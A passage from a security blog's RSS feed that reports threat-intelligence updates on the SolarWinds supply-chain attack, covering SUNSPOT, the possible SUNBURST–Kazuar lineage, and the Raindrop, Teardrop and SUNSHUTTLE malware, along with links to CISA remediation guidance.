href="/services/managed-detection-and-response-mdr/">Managed Detection and Response</a> instances and workflows.</p><p>SolarWinds has <a href="https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/">updated their blog</a> with a reference to this new information on SUNSPOT. Because SUNSPOT, SUNBURST, and related tooling have not been definitively mapped to a known adversary, CrowdStrike has christened the actors responsible for these intrusions “StellarParticle.”</p><h2>SUNBURST’s Kazuar lineage</h2><p>Separately, Kaspersky Labs also <a href="https://securelist.com/sunburst-backdoor-kazuar/99981/" rel="nofollow">published technical analysis</a> on Monday, Jan. 11, 2020 that builds a case for a connection between the SUNBURST backdoor and another backdoor called Kazuar. Kazuar, which Palo Alto Networks’ <a href="https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" rel="nofollow">Unit42 team first described in May of 2017</a> as a “multiplatform espionage backdoor with API access,” is a .NET backdoor that Kaspersky says appears to share several “unusual features” with SUNBURST. (Palo Alto linked Kazuar to the Turla APT group back in 2017, which Kaspersky says their own observations support, too.)</p><p>Shared features Kaspersky has identified so far include the use of FNV-1a hashing throughout Kazua and SUNBURST code, a similar algorithm used to generate unique victim identifiers, and customized (thought not exactly the same) implementations of a sleeping algorithm that delays between connections to a C2 server and makes network activity less obvious. Kaspersky has a full, extremely detailed list of similar and different features across both backdoors in their post.</p><p>Kaspersky does not definitively state that the two backdoors are the work of the same actor. Instead, they offer five <strong>possible explanations</strong> for the similarities they’ve identified between Kazuar and SUNBURST. The potential explanations below have been taken directly from their post:</p><ol><li>Sunburst was developed by the same group as Kazuar.</li><li>The Sunburst developers adopted some ideas or code from Kazuar, without having a direct connection (they used Kazuar as an inspiration point).</li><li>Both groups, DarkHalo/UNC2452 and the group using Kazuar, obtained their malware from the same source.</li><li>Some of the Kazuar developers moved to another team, taking knowledge and tools with them.</li><li>The Sunburst developers introduced these subtle links as a form of false flag, in order to shift blame to another group.</li></ol><p>As Kaspersky notes, the knowledge of a potential lineage connection to Kazaur changes little for defenders, but is worth keeping an eye on, as a confirmed connection may help those in more highly targeted sectors use previous Kazuar detection and prevention methods to enhance their response to the SolarWinds compromise.</p><h2>Updates</h2><h2>Jan. 19, 2021</h2><p>On Monday, Jan. 18, 2021, Symantec researchers <a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware">disclosed findings</a> that point to a new, additional malware component that has been found in select victims associated with the SolarWinds attacks. This new malware backdoor has been christened “Raindrop” (we told you we’d run out of ☀️-themed names) or, more formally, “Backdoor.Raindrop” and is a loader—software that is designed to retrieve additional components for use further attacker operations—that delivers a <a href="https://attack.mitre.org/software/S0154/">Cobalt Strike</a> payload.</p><p>Raindrop is similar to Teardrop (<a href="https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html">revealed by FireEye back in December 2020</a>), but appears to be geared toward post-compromise lateral movement, enabling it to spread across a victim’s network. Unlike Teardrop, Symantec has asserted that Raindrop is <em><strong>not</strong></em> being delivered by <a href="/blog/post/2020/12/14/solarwinds-sunburst-backdoor-supply-chain-attack-what-you-need-to-know/">SUNBURST</a>, but has appeared after a victim has been compromised with SUNBURST.</p><p>Symantec chronicles a timeline of many victims, detailing numerous installed components, PowerShell commands, and diverse command and control techniques ranging from HTTP-based interaction to <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/4de75e21-36fd-440a-859b-75accc74487c">SMB named network pipes</a>. When focusing solely on HTTP interaction, Raindrop shares many features and characteristics with Teardrop, including the HTTP POST form setup used to retrieve components.</p><p>Symantec has provided YARA rules and other indicators of compromise (IoCs) that defenders can use to identify older Raindrop activity and detect current use.</p><h2>Feb. 8, 2021</h2><p>CISA has released two malware analysis reports related to the SolarWinds attack:</p><ul><li><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b">TEARDROP Malware Analysis Report</a> (MAR-1032011501.v.1)</li><li><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a">SUNBURST Malware Analysis Report</a> (MAR-10318845-1.v.1)</li></ul><h2>Mar. 4, 2021</h2><p>FireEye has posted new information on a second-stage backdoor they've named <a href="https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html">SUNSHUTTLE</a>. They identified the new malware from a post to a public malware repository dating back to August of 2020. SUNSHUTTLE is written in the Go programming language, and "<em>reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.</em>”"</p><p>This is a sophisticated component with modern, refined detection evasion techniques. Full IoCs are available at the FireEye post.</p><h2>Mar. 10, 2021</h2><p>CISA, the U.S. Cybersecurity and Infrastructure Agency, <a href="https://us-cert.cisa.gov/ncas/current-activity/2021/03/09/guidance-remediating-networks-affected-solarwinds-and-active">released two new resources yesterday</a> to assist organizations in remediating networks affected by the SolarWinds and Active Directory/M365 compromise.</p><ul><li><a href="https://us-cert.cisa.gov/Remediating-APT-Compromised-Networks">Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise</a> provides guidance to organizations affected by this APT activity. CISA encourages affected critical infrastructure and private sector organizations to review and apply it (in addition to federal agencies).</li><li><a href="https://www.cisa.gov/publication/solarwinds-and-ad-m365-compromise-risk-decisions-leaders">CISA Insights: SolarWinds and Active Directory/M365 Compromise: Risk Decisions for Leaders</a> supports executive leaders of affected organizations in understanding the threat, risk, and associated actions they should take in response to the APT activity. The CISA Insights specifically applies to organizations with affected versions of SolarWinds Orion who have evidence of follow-on threat actor activity.</li></ul><div><h4>NEVER MISS A BLOG</h4><p>Get the latest stories, expertise, and news about security today.</p><a href="#">Subscribe</a></div><br/>]]></description>
      <link>https://www.rapid7.com/blog/post/2021/01/12/update-on-solarwinds-supply-chain-attack-sunspot-and-new-malware-family-associations</link>
      <guid isPermaLink="false">blt843df7069bc9799a</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Supply Chain Security]]></category><dc:creator><![CDATA[boB Rudis]]></dc:creator>
      <pubDate>Tue, 12 Jan 2021 19:35:18 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb8d0ac526b1b299a/683ddf90ff6aa946f20ea808/sunspot.jpg" medium="image" />
    </item>
  </channel>
</rss>